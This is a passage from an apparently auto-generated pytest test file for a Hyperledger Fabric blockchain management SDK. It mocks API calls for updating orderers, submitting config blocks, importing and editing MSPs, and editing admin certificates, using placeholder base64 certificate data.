resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a UpdateOrdererBodyResources model
update_orderer_body_resources_model = {}
update_orderer_body_resources_model['orderer'] = resource_object_model
update_orderer_body_resources_model['proxy'] = resource_object_model
# Set up parameter values
id = 'testString'
admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
config_override = config_orderer_update_model
crypto = update_orderer_body_crypto_model
node_ou = node_ou_model
replicas = 1
resources = update_orderer_body_resources_model
version = '1.4.6-1'
zone = '-'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.update_orderer(**req_copy)
class TestSubmitBlock():
"""
Test Class for submit_block
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_submit_block_all_params(self):
"""
submit_block()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString/config')
mock_response = '{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
b64_block = 'bWFzc2l2ZSBiaW5hcnkgb2YgYSBjb25maWcgYmxvY2sgd291bGQgYmUgaGVyZSBpZiB0aGlzIHdhcyByZWFsLCBwbGVhc2UgZG9udCBzZW5kIHRoaXM='
# Invoke method
response = service.submit_block(
id,
b64_block=b64_block,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['b64_block'] == 'bWFzc2l2ZSBiaW5hcnkgb2YgYSBjb25maWcgYmxvY2sgd291bGQgYmUgaGVyZSBpZiB0aGlzIHdhcyByZWFsLCBwbGVhc2UgZG9udCBzZW5kIHRoaXM='
@responses.activate
def test_submit_block_value_error(self):
"""
test_submit_block_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString/config')
mock_response = '{"id": "myca-2", "type": "fabric-ca", "display_name": "Example CA", "cluster_id": "mzdqhdifnl", "cluster_name": "ordering service 1", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "msp": {"ca": {"name": "org1CA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "org1tlsCA", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
b64_block = 'bWFzc2l2ZSBiaW5hcnkgb2YgYSBjb25maWcgYmxvY2sgd291bGQgYmUgaGVyZSBpZiB0aGlzIHdhcyByZWFsLCBwbGVhc2UgZG9udCBzZW5kIHRoaXM='
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.submit_block(**req_copy)
class TestImportMsp():
"""
Test Class for import_msp
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_import_msp_all_params(self):
"""
import_msp()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msp')
mock_response = '{"id": "component1", "type": "fabric-peer", "display_name": "My Peer", "msp_id": "Org1", "timestamp": 1537262855753, "tags": ["fabric-ca"], "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "intermediate_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "scheme_version": "v1", "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
msp_id = 'Org1'
display_name = 'My Peer'
root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
intermediate_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
admins = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
tls_root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Invoke method
response = service.import_msp(
msp_id,
display_name,
root_certs,
intermediate_certs=intermediate_certs,
admins=admins,
tls_root_certs=tls_root_certs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['msp_id'] == 'Org1'
assert req_body['display_name'] == 'My Peer'
assert req_body['root_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['intermediate_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
assert req_body['admins'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['tls_root_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
@responses.activate
def test_import_msp_value_error(self):
"""
test_import_msp_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msp')
mock_response = '{"id": "component1", "type": "fabric-peer", "display_name": "My Peer", "msp_id": "Org1", "timestamp": 1537262855753, "tags": ["fabric-ca"], "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "intermediate_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "scheme_version": "v1", "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
msp_id = 'Org1'
display_name = 'My Peer'
root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
intermediate_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
admins = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
tls_root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"msp_id": msp_id,
"display_name": display_name,
"root_certs": root_certs,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.import_msp(**req_copy)
class TestEditMsp():
"""
Test Class for edit_msp
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_msp_all_params(self):
"""
edit_msp()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msp/testString')
mock_response = '{"id": "component1", "type": "fabric-peer", "display_name": "My Peer", "msp_id": "Org1", "timestamp": 1537262855753, "tags": ["fabric-ca"], "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "intermediate_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "scheme_version": "v1", "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
msp_id = 'Org1'
display_name = 'My Peer'
root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
intermediate_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
admins = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
tls_root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Invoke method
response = service.edit_msp(
id,
msp_id=msp_id,
display_name=display_name,
root_certs=root_certs,
intermediate_certs=intermediate_certs,
admins=admins,
tls_root_certs=tls_root_certs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['msp_id'] == 'Org1'
assert req_body['display_name'] == 'My Peer'
assert req_body['root_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['intermediate_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
assert req_body['admins'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
assert req_body['tls_root_certs'] == ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
@responses.activate
def test_edit_msp_value_error(self):
"""
test_edit_msp_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msp/testString')
mock_response = '{"id": "component1", "type": "fabric-peer", "display_name": "My Peer", "msp_id": "Org1", "timestamp": 1537262855753, "tags": ["fabric-ca"], "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "intermediate_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "scheme_version": "v1", "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
msp_id = 'Org1'
display_name = 'My Peer'
root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
intermediate_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
admins = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
tls_root_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.edit_msp(**req_copy)
class TestGetMspCertificate():
"""
Test Class for get_msp_certificate
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_msp_certificate_all_params(self):
"""
get_msp_certificate()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msps/testString')
mock_response = '{"msps": [{"msp_id": "Org1", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
msp_id = 'testString'
cache = 'skip'
# Invoke method
response = service.get_msp_certificate(
msp_id,
cache=cache,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'cache={}'.format(cache) in query_string
@responses.activate
def test_get_msp_certificate_required_params(self):
"""
test_get_msp_certificate_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msps/testString')
mock_response = '{"msps": [{"msp_id": "Org1", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
msp_id = 'testString'
# Invoke method
response = service.get_msp_certificate(
msp_id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_get_msp_certificate_value_error(self):
"""
test_get_msp_certificate_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/msps/testString')
mock_response = '{"msps": [{"msp_id": "Org1", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "admins": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="], "tls_root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
msp_id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"msp_id": msp_id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.get_msp_certificate(**req_copy)
class TestEditAdminCerts():
"""
Test Class for edit_admin_certs
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_admin_certs_all_params(self):
"""
edit_admin_certs()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString/certs')
mock_response = '{"changes_made": 1, "set_admin_certs": [{"base_64_pem": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "issuer": "/C=US/ST=North Carolina/O=Hyperledger/OU=Fabric/CN=fabric-ca-server", "not_after_ts": 1597770420000, "not_before_ts": 1566234120000, "serial_number_hex": "649a1206fd0bc8be994886dd715cecb0a7a21276", "signature_algorithm": "SHA256withECDSA", "subject": "/OU=client/CN=admin", "X509_version": 3, "time_left": "10 hrs"}]}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
append_admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
remove_admin_certs = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Invoke method
response = service.edit_admin_certs(
id,
append_admin_certs=append_admin_certs,
remove_admin_certs=remove_admin_certs,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
